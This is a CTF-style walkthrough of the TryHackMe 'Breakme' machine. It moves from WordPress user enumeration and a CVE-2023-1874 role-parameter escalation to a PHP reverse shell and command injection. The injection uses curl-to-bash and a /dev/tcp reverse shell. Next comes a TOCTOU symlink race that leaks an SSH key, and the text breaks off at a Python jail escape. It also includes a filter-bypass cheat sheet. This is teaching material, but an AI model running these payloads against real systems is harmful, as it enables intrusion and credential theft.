Breakme

Break this secure system and get the flags, if you can. - by TH3V1P3R

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with an Nmap scan and find two open ports, 22 where SSH is running and 80 where an Apache web server is running.

We continue directly with a directory scan. For this we use Feroxbuster to recursively determine the directories. Here we see that we are dealing with a web server running WordPress.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ feroxbuster -u 'http://breakme.thm' -w /usr/share/wordlists/dirb/big.txt
                                                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url             http://breakme.thm
 🚀  Threads                50
 📖  Wordlist               /usr/share/wordlists/dirb/big.txt
 👌  Status Codes           All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent             feroxbuster/2.10.2
 💉  Config File            /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links          true
 🏁  HTTP methods           [GET]
 🔃  Recursion Depth        4
 🎉  New Version Available  https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       24l      126w    10355c http://breakme.thm/icons/openlogo-75.png
200      GET      368l      933w    10701c http://breakme.thm/
301      GET        9l       28w      311c http://breakme.thm/manual => http://breakme.thm/manual/
301      GET        9l       28w      314c http://breakme.thm/manual/da => http://breakme.thm/manual/da/
301      GET        9l       28w      314c http://breakme.thm/manual/en => http://breakme.thm/manual/en/
301      GET        9l       28w      314c http://breakme.thm/manual/de => http://breakme.thm/manual/de/
301      GET        9l       28w      314c http://breakme.thm/manual/fr => http://breakme.thm/manual/fr/
301      GET        9l       28w      314c http://breakme.thm/manual/es => http://breakme.thm/manual/es/
301      GET        9l       28w      318c http://breakme.thm/manual/images => http://breakme.thm/manual/images/
200      GET        1l        6w       86c http://breakme.thm/manual/images/left.gif
200      GET        1l        7w     2908c http://breakme.thm/manual/images/favicon.ico
200      GET       11l       49w     4550c http://breakme.thm/manual/images/filter_arch.tr.png
200      GET       68l      318w    10209c http://breakme.thm/manual/images/sub.gif
200      GET        8l       29w     2343c http://breakme.thm/manual/images/mod_filter_new.tr.png
200      GET       25l       87w     6358c http://breakme.thm/manual/images/mod_rewrite_fig1.gif
200      GET        6l       58w     2303c http://breakme.thm/manual/images/home.gif
200      GET       15l       63w     7395c http://breakme.thm/manual/images/ssl_intro_fig3.gif
200      GET       50l      355w    31098c http://breakme.thm/manual/images/custom_errordocs.png
200      GET      119l      848w    66818c http://breakme.thm/manual/images/rewrite_backreferences.png
200      GET      232l     1134w    97231c http://breakme.thm/manual/images/syntax_rewriterule.png
200      GET      408l     2298w   192916c http://breakme.thm/manual/images/rewrite_process_uri.png
200      GET     1227l     7821w   677704c http://breakme.thm/manual/images/bal-man-w.png
301      GET        9l       28w      314c http://breakme.thm/manual/ja => http://breakme.thm/manual/ja/
301      GET        9l       28w      314c http://breakme.thm/manual/ko => http://breakme.thm/manual/ko/
200      GET        2l        4w       79c http://breakme.thm/manual/images/pixel.gif
200      GET       18l      118w     6536c http://breakme.thm/manual/images/feather.gif
200      GET       10l       34w     2420c http://breakme.thm/manual/images/mod_rewrite_fig2.png
200      GET       25l       72w     4606c http://breakme.thm/manual/images/ssl_intro_fig3.png
200      GET       14l       54w     2412c http://breakme.thm/manual/images/index.gif
200      GET       77l      325w    24698c http://breakme.thm/manual/images/caching_fig1.png
200      GET       16l       74w     5983c http://breakme.thm/manual/images/ssl_intro_fig1.png
200      GET       23l      143w     7050c http://breakme.thm/manual/images/apache_header.gif
200      GET      146l      919w    71900c http://breakme.thm/manual/images/build_a_mod_4.png
200      GET        8l       24w     1868c http://breakme.thm/manual/images/mod_filter_new.png
200      GET        6l       29w     2168c http://breakme.thm/manual/images/ssl_intro_fig2.png
200      GET      105l      493w    29291c http://breakme.thm/manual/images/caching_fig1.gif
200      GET      173l     1008w    81048c http://breakme.thm/manual/images/syntax_rewritecond.png
200      GET        0l        0w       59c http://breakme.thm/manual/images/right.gif
200      GET        0l        0w   321860c http://breakme.thm/manual/images/bal-man-b.png
200      GET        0l        0w    96596c http://breakme.thm/manual/images/SupportApache-small.png
301      GET        9l       28w      324c http://breakme.thm/manual/da/developer => http://breakme.thm/manual/da/developer/
301      GET        9l       28w      318c http://breakme.thm/manual/da/faq => http://breakme.thm/manual/da/faq/
301      GET        9l       28w      324c http://breakme.thm/manual/de/developer => http://breakme.thm/manual/de/developer/
301      GET        9l       28w      317c http://breakme.thm/manual/pt-br => http://breakme.thm/manual/pt-br/
301      GET        9l       28w      324c http://breakme.thm/manual/en/developer => http://breakme.thm/manual/en/developer/
301      GET        9l       28w      320c http://breakme.thm/manual/da/howto => http://breakme.thm/manual/da/howto/
301      GET        9l       28w      324c http://breakme.thm/manual/fr/developer => http://breakme.thm/manual/fr/developer/
301      GET        9l       28w      314c http://breakme.thm/manual/ru => http://breakme.thm/manual/ru/
301      GET        9l       28w      318c http://breakme.thm/manual/de/faq => http://breakme.thm/manual/de/faq/
301      GET        9l       28w      317c http://breakme.thm/manual/style => http://breakme.thm/manual/style/
200      GET       92l      345w     2844c http://breakme.thm/manual/style/modulesynopsis.dtd
200      GET       24l      130w      925c http://breakme.thm/manual/style/version.ent
200      GET       29l      147w     1082c http://breakme.thm/manual/style/manualpage.dtd
200      GET       12l       48w     3533c http://breakme.thm/manual/style/common.dtd.gz
200      GET       42l      190w     1425c http://breakme.thm/manual/style/sitemap.dtd
200      GET       24l      127w      907c http://breakme.thm/manual/style/lang.dtd
200      GET       36l      165w     1247c http://breakme.thm/manual/style/faq.dtd
200      GET       27l       66w      481c http://breakme.thm/manual/style/build.properties
301      GET        9l       28w      324c http://breakme.thm/manual/es/developer => http://breakme.thm/manual/es/developer/
200      GET       27l      146w      915c http://breakme.thm/manual/style/css/manual-chm.css
200      GET       24l      141w      874c http://breakme.thm/manual/style/css/manual-zip.css
200      GET      121l      625w     3616c http://breakme.thm/manual/style/css/prettify.css
200      GET       23l      141w      885c http://breakme.thm/manual/style/css/manual-zip-100pc.css
200      GET      155l      390w     3065c http://breakme.thm/manual/style/css/manual-loose-100pc.css
200      GET       80l      279w     2582c http://breakme.thm/manual/style/latex/atbeginend.sty
200      GET        5l       21w      167c http://breakme.thm/manual/style/scripts/MINIFY
200      GET      717l     1598w    13200c http://breakme.thm/manual/style/css/manual-print.css
200      GET     1048l     2315w    19081c http://breakme.thm/manual/style/css/manual.css
301      GET        9l       28w      320c http://breakme.thm/manual/de/howto => http://breakme.thm/manual/de/howto/
301      GET        9l       28w      318c http://breakme.thm/manual/en/faq => http://breakme.thm/manual/en/faq/
200      GET      123l      426w    38692c http://breakme.thm/manual/style/scripts/prettify.min.js
301      GET        9l       28w      314c http://breakme.thm/wordpress => http://breakme.thm/wordpress/
301      GET        9l       28w      318c http://breakme.thm/manual/fr/faq => http://breakme.thm/manual/fr/faq/
301      GET        9l       28w      314c http://breakme.thm/manual/tr => http://breakme.thm/manual/tr/
301      GET        9l       28w      319c http://breakme.thm/manual/da/misc => http://breakme.thm/manual/da/misc/
301      GET        9l       28w      318c http://breakme.thm/manual/da/mod => http://breakme.thm/manual/da/mod/
301      GET        9l       28w      324c http://breakme.thm/manual/ja/developer => http://breakme.thm/manual/ja/developer/
301      GET        9l       28w      324c http://breakme.thm/manual/ko/developer => http://breakme.thm/manual/ko/developer/
301      GET        9l       28w      320c http://breakme.thm/manual/en/howto => http://breakme.thm/manual/en/howto/
301      GET        9l       28w      320c http://breakme.thm/manual/fr/howto => http://breakme.thm/manual/fr/howto/
301      GET        9l       28w      318c http://breakme.thm/manual/de/mod => http://breakme.thm/manual/de/mod/
301      GET        9l       28w      318c http://breakme.thm/manual/es/mod => http://breakme.thm/manual/es/mod/

Visiting the index page, we are just greeted with an Apache2 Debian default page.

We visit the Wordpress site and find a fairly simple blog.

http://breakme.thm/wordpress/

We seem to be in the right place with the welcome on http://breakme.thm/wordpress/index.php/breakme/.

Next, we use WPScan to get an overview of the WordPress application. We find that it is running version 6.4.3, which is vulnerable to user enumeration.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ wpscan --url http://breakme.thm/wordpress/
_______________________________________________________________
...
[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
 | Found By: Rss Generator (Passive Detection)
 |  - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |  - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'

Foothold

For the Foothold, we continue to focus on the WordPress page. We continue with our WPScans to get more useful information and uncover possible vulnerabilities.

WPScan Part I - Enum Credentials

First, we try to enumerate existing users. Here we determine the users bob and admin.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ wpscan --url http://breakme.thm/wordpress/ --enumerate u
_______________________________________________________________

...

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://breakme.thm/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bob
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Next, we try to bruteforce the passwords for both users. We are successful with user bob. The password is redacted in the following excerpt:

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ wpscan --url http://breakme.thm/wordpress/ -U admin,bob -P /usr/share/wordlists/rockyou.txt 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

...

[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - bob / REDACTED

A link in the sample page http://breakme.thm/wordpress/index.php/sample-page takes us to the login window.

We use the found credentials and log in. We don't seem to be a privileged users; at least no admin dashboard seems to be visible here.

We are able to change our profile...

... and are able to make minor adjustments at the dashboard.

WPSan Part II - Further Enumeration (WPScan API Key)

It looks like we haven't discovered everything yet. Next we run another WPScan, this time with an API key. This can be obtained free of charge after registering on the next page of WPScan. This will allow us to get our results associated with CVEs.

We run the WPScan using the API key and discover an interesting finding that belongs to CVE-2023-1874, which is WP Data Access <= 5.3.7 - Authenticated (Subscriber+) Privilege Escalation.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ export  WPSCAN_API_TOKEN=REDACTED
                                                                                                                                                                                             
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ wpscan --url http://breakme.thm/wordpress/                                                  
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://breakme.thm/wordpress/ [10.10.216.242]
[+] Started: Fri Sep 20 15:38:41 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.56 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://breakme.thm/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://breakme.thm/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://breakme.thm/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
 | Found By: Rss Generator (Passive Detection)
 |  - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |  - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS
 |     Fixed in: 6.4.4
 |     References:
 |      - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f
 |      - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-data-access
 | Location: http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/
 | Last Updated: 2024-09-18T00:01:00.000Z
 | [!] The version is out of date, the latest version is 5.5.14
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation
 |     Fixed in: 5.3.8
 |     References:
 |      - https://wpscan.com/vulnerability/7871b890-5172-40aa-88f2-a1b95e240ad4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1874
 |      - https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/
 |
 | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
 |     Fixed in: 5.3.11
 |     References:
 |      - https://wpscan.com/vulnerability/39d1f22f-ea34-4d94-9dc2-12661cf69d36
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
 |
 | [!] Title: WP Data Access < 5.5.9 - Cross-Site Request Forgery
 |     Fixed in: 5.5.9
 |     References:
 |      - https://wpscan.com/vulnerability/4fe0d330-6511-4500-ac3f-b9bb944b8f0e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43295
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/85a33508-71f2-4aa1-8d51-667eb0690fbd
 |
 | Version: 5.3.5 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <==============================================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 22

[+] Finished: Fri Sep 20 15:38:51 2024
[+] Requests Done: 144
[+] Cached Requests: 37
[+] Data Sent: 38.903 KB
[+] Data Received: 28.153 KB
[+] Memory used: 272.031 MB
[+] Elapsed time: 00:00:09

Expanding Privileges

We can find out more about the vulnerability in the following post:

In summary, by updating the profile, it is possible for us to overwrite the roles and thus extend our privileges. We achieve this by setting the wpda_role[] parameter in the update request.

The WP Data Access plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.3.7. This is due to a lack of authorization checks on the multiple_roles_update function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the ‘wpda_role[]‘ parameter during a profile update. This requires the ‘Enable role management’ setting to be enabled for the site.

So we update our profile first, and take the opportunity to correct the username 😄.

We submit the request and intercept it via Burp Suite. We must now add the following parameter, which is not already set.

&wpda_role[]=administrator

We give ourselves the administrator role. If we make a mistake with the parameter and enter it incorrectly, we are locked out, can no longer access the dashboard, and have to restart the machine.

We resolve the interception and are redirected to the admin dashboard after updating the profile. We are admin and can do everything. We are now not dependent on further vulnerabilities.

Reverse Shell

To obtain foothold, we take advantage of the privileges and create a reverse shell. We can use the following article from Hacktricks for this. We edit the page of a template and replace the content with a reverse shell. For this, we use revshells.com to generate a Pentest Monkey reverse shell according to our needs. We now keep this in the background and have set up a listener.

Next, we reach out to the following Page to update a template for a reverse shell.

http://breakme.thm/wordpress/wp-admin/theme-editor.php

Here we first set the template to Twenty-Twenty One, because this has a PHP template for the 404 page. We select this and then replace everything with the reverse shell content.

We then update the page.

Now we only need to call up our edited page with the following URL:

http://breakme.thm/wordpress/wp-content/themes/twentytwentyone/404.php

We then get a reverse shell on our listener and upgrade our shell. We are www-data, but don't have access to the first flag for the time being.

Upgrade shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo && fg

But after our Linpeas scan we find access possibilities to files of another user john.

We find the first flag in his home directory, but have no access to it. We may have to get access to user john.

Internal Services

When enurering using www-data, we detect an internal service running on port 9999.

This seems to be another site, possibly an entry point to user john.

Before we continue, let's take a look at possible processes running in the background using Pspy. Here we see that the service is a web server running in the context of the user with the uid 1002.

This is our user john.

Shell As john

We now want to investigate the service on port 9999 further. To do this, we create a tunnel using Ligolo-ng to gain access to it.

Setup Ligolo-ng

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS)

Unlike with CERTain doom, we do not want to have access to the available networks of the target. This time we just need access to a local internal port. For this, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for 240.0.0.1 through the tunnel.

[...] there's a "magic" CIDR hardcoded in Ligolo-ng: 240.0.0.0/4 (This is an unused IPv4 subnet). If you query an IP address on this subnet, Ligolo-ng will automatically redirect traffic to the agent's local IP address (127.0.0.1)

First, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for 240.0.0.1 through the tunnel.

┌──(0xb0b㉿kali)-[~]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b: 
                                                                                                                                                                                             
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip link set ligolo up 
                                                                                                                                                                                             
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 240.0.0.1 dev ligolo

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

On our attack machine, we start the proxy server.

./proxy -selfcert

Next on the target machine we start the agent to connect to our proxy.

www-data@Breakme:/tmp$ wget http://10.8.211.1/agent                   
--2024-09-20 20:34:44--  http://10.8.211.1/agent
Connecting to 10.8.211.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6029312 (5.8M) [application/octet-stream]
Saving to: ‘agent’

agent               100%[===================>]   5.75M  5.22MB/s    in 1.1s    ^[OA

2024-09-20 20:34:45 (5.22 MB/s) - ‘agent’ saved [6029312/6029312]

www-data@Breakme:/tmp$ chmod +x agent                                 
www-data@Breakme:/tmp$ ./agent -connect 10.8.211.1:11601 --ignore-cert
./agent -connect 10.8.211.1:11601 --ignore-cert

We receive a message on our ligolo-ng proxy that an agent has joined. We select the session using session and then start it.

We are now able to reach internal port 9999 via the address 240.0.0.1.

Service Investigation On 127.0.0.1:9999

Here we have a page with tools that include a check target, a check user and check file. This suggests that some kind of command injection could be possible.

If we enter our IP at Check Target, we find that a ping is actually executed. The input only allows the numerical representation of IP addresses.

Check user reflects the entries you have made. However, we cannot find a valid user, not even under the known john, bob or www-data.

The file check does not seem to find any files either. Special characters or numbers do not seem to be permitted here.

We enter a set of special characters in Check User and see that a small set is reflected. Not everything is removed. We also notice that the space character is removed.

!@#$%^&*()_+-={}[]|:;'"<>,.?/

We can already do something with the following set:

${}|:./

Command Injection - Possibilities (Unix)

Here is a small incomplete list of techniques that can be used for command injection that complement each other.

Bypass Space Filtering

%0a        #newline
%09        #use tabs instead of spaces
%0a%09     #newline + tab   
${IFS}     #internal field seperator in unix
{ls,-la}   #brace expansion to avoid using spaces

Chaining Commands

;          #multiple commands to be executed sequentially
\n         #newline
&          #run a command in the background, allowing the shell to continue running other commands without waiting for the previous one to finish
&&         #logical AND operator that executes the second command only if the first one succeeds
||         #logical OR operator that executes the second command only if the first one fails
|          #pipe operator that passes the output of one command as input to another command

Subsituted Command

``          #(backticks) are used in Unix-like systems to execute a command and substitute its output into another command.
$()         #more modern syntax for command substitution

Bypass Specific Character Filters

echo ${PATH:0:1}         resolves to /
echo ${LS_COLORS:10:1}   resolve to ;

Bypassing Blacklisted Commands

ba's'h    use single quotes to bypass a simple filter 
b"as"h    use double quotes to bypass a simple filter
bas$@h
bas\h
$(tr "[A-Z]" "[a-z]"<<<"bAsH")      case manipulation
$(rev<<<'hsab')                     reverse commands

Tools

Exploitation

With the character set of special characters that we determined earlier, we can try the following command injection. We use the ${IFS} variable to replace the space, pipe that ping command to the previous command as output.

|ping${IFS}10.8.211.1

We then capture the pings via tcpdump and see that our command injection was successful.

Next, we prepare a simple reverse shell payload. Since we can't use & we use curl to distribute our reverse shell and execute it in the same command.

payload.sh
/bin/bash -i >& /dev/tcp/10.8.211.1/4446 0>&1

Then we set up a Python web server to provide the payload.

We replace our ping with a curl command, to see if we can successfully request the payload.

|curl${IFS}http://10.8.211.1/payload.sh

The payload gets retrieved.

Now we set up a listener on port 4446 and adapt our command with a pipe to bash.

|curl${IFS}http://10.8.211.1/payload.sh|bash

Again we get a request.

And a connection back to our listener. We are user john and are able to get the first flag.

Shell As youcef

During our enumeration using Linpeas as user john, we realize that he has access to files of the user youcef in its home directory

In the home directory of youcef we find that we have access to other files, including readfile.

We want to take a closer look at the files and set up a python web server in the home directory to access these.

python -m http.server 9000

Reveerse Engineering

First, we decompile the binary readfile, as we do not have access to the readfile.c. Apparently we can read in files with this. The special thing is that this is a SUID binary, and we can read the files in the context of its owner, youcef. This gives us hope of obtaining the possible SSH key for the user youcef. However, if we want to read this with readfile, we only get a file not found. Furthermore, we cannot readfile.c and only get a Nice Try!

After decompiling, we can see why this is the case. There are checks to see if we are the user john, the uid is searched for. There are also checks for file names such as flag and id_rsa, if these are present, they cannot be read in, and then there is only the message Nice Try! In addition to the checks on file names, a check is made to see whether a symlink has been opened, in which case opening it also fails. It also fails if we, as the user john, do not have access to the file.

Logic:

  • Checks if the correct number of arguments (2) is passed. If not, it prints a usage message.

  • Verifies if the file provided in a1->field_8 exists (access).

  • Checks the user ID (getuid) to ensure it's 1002. If not, it prevents execution.

  • If the file contains "flag" or "id_rsa" or is a symbolic link, or if the file isn't readable, it prints "Nice try!" and exits.

  • If all checks pass, it opens the file, reads it in chunks, and writes the content to the standard output.

  • Uses strstr() to ensure the filename doesn't contain "flag" or "id_rsa".

  • Calls lstat() on the file to check its properties.

    • Verifies the file is not a symbolic link (S_IFLNK).

Exploitation

What we can now exploit is that the checks are made one after the other, sequentially. This makes the application susceptible to race conditions, the so-called TOCTOU, Time-Of-Check Time-Of-User vulnerability. Furthermore, we can find the following writeups on this topic, which explain this as an example and show how it can be exploited with a simple script.

TOCTOU, which stands for "Time of Check to Time of Use," is a class of race condition vulnerabilities in software systems. It occurs when a system checks a condition (like file permissions or existence) and then acts on that resource , but the resource changes state between the checks and the actions.

The idea is to create a script that creates a symlink to our desired destination, which we do not have, then replace that file with a file we own. This script is run infinity. So at some point of execution, we own the file, and at some point of execution, it's a symlink to our desired file. Eventually, running the script fits the conditions to read files we are not allowed to with a symlink. So the following attempt is the while lop running in background switching files, similar to one of the challenges of picoCTF:

while true; do ln -sf /home/youcef/.ssh/id_rsa flip; rm flip; touch flip; done &

If the command is executed in /tmp, a folder that does not belong to john, the attempt does not seem to work here, no content is leaked. Instead, this must be executed in john's home directory.

Next, we build a script that executes the application 20 times to read the RSA key from youcef in the hope of hitting the right conditions.

for i in {1..20}; do /home/youcef/./readfile flip; done

And we are successful and receive the RSA key from youcef.

We copy it and change the permissions accordingly to use it, but realize that the key file is encrypted.

We generate a hash from the key using ssh2john.

ssh2john id_rsa 

With the help of the application john the ripper and the word list rockyout.txt, we can then crack the hash and get the password for the SSH key.

We use the key and are able to login as youcef. In the home directory of youcef we find the second flag.

Retrospective

In retrospective this program checks file access and user permissions before attempting to read a file. It denies access to files with flag or id_rsa in the name, symbolic links, or files that cannot be read. If the file passes all checks, it opens and reads the file contents.

A potential TOCTOU (Time of Check to Time of Use) vulnerability exists because the program checks the file's status and permissions with lstat and access, but doesn't immediately open the file afterward.

readfile.c
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: ./readfile <FILE>");
        return 1;
    }else if(access(argv[1],F_OK)){
        puts("File Not Found");
        return 1;
    }else if(getuid()!=1002){
        puts("You can't run this program");
        return 1;
    }

    char *flag = strstr(argv[1], "flag");
    char *id_rsa = strstr(argv[1], "id_rsa");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    int res=access(argv[1],R_OK);
    usleep(0.8);

    if (flag || symlink_check || res==-1 || id_rsa) {
        puts("Nice try!");
        return 1;
    } else {
        puts("I guess you won!\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

Shell As root

When enumerating, we realize that we can execute as youcef /usr/bin/python3 /root/jail.py using sudo in the root context. A strong indicator that we can extend our privileges to root here. This is actually a category in CTF that I was not aware of, although I have solved similar ones before, python jail escapes. A number of writeups were used to find the solution, which showed a wide variety of possible solutions.

When executing the file, we see an interpreter context. However, this is very limited.

Examples of escaping can be found here, but do not apply here.

First, an attempt was made to assemble a function call via the builtins that executes an exec or eval or open. But this was not successful.

>> print(dir(__builtins__))
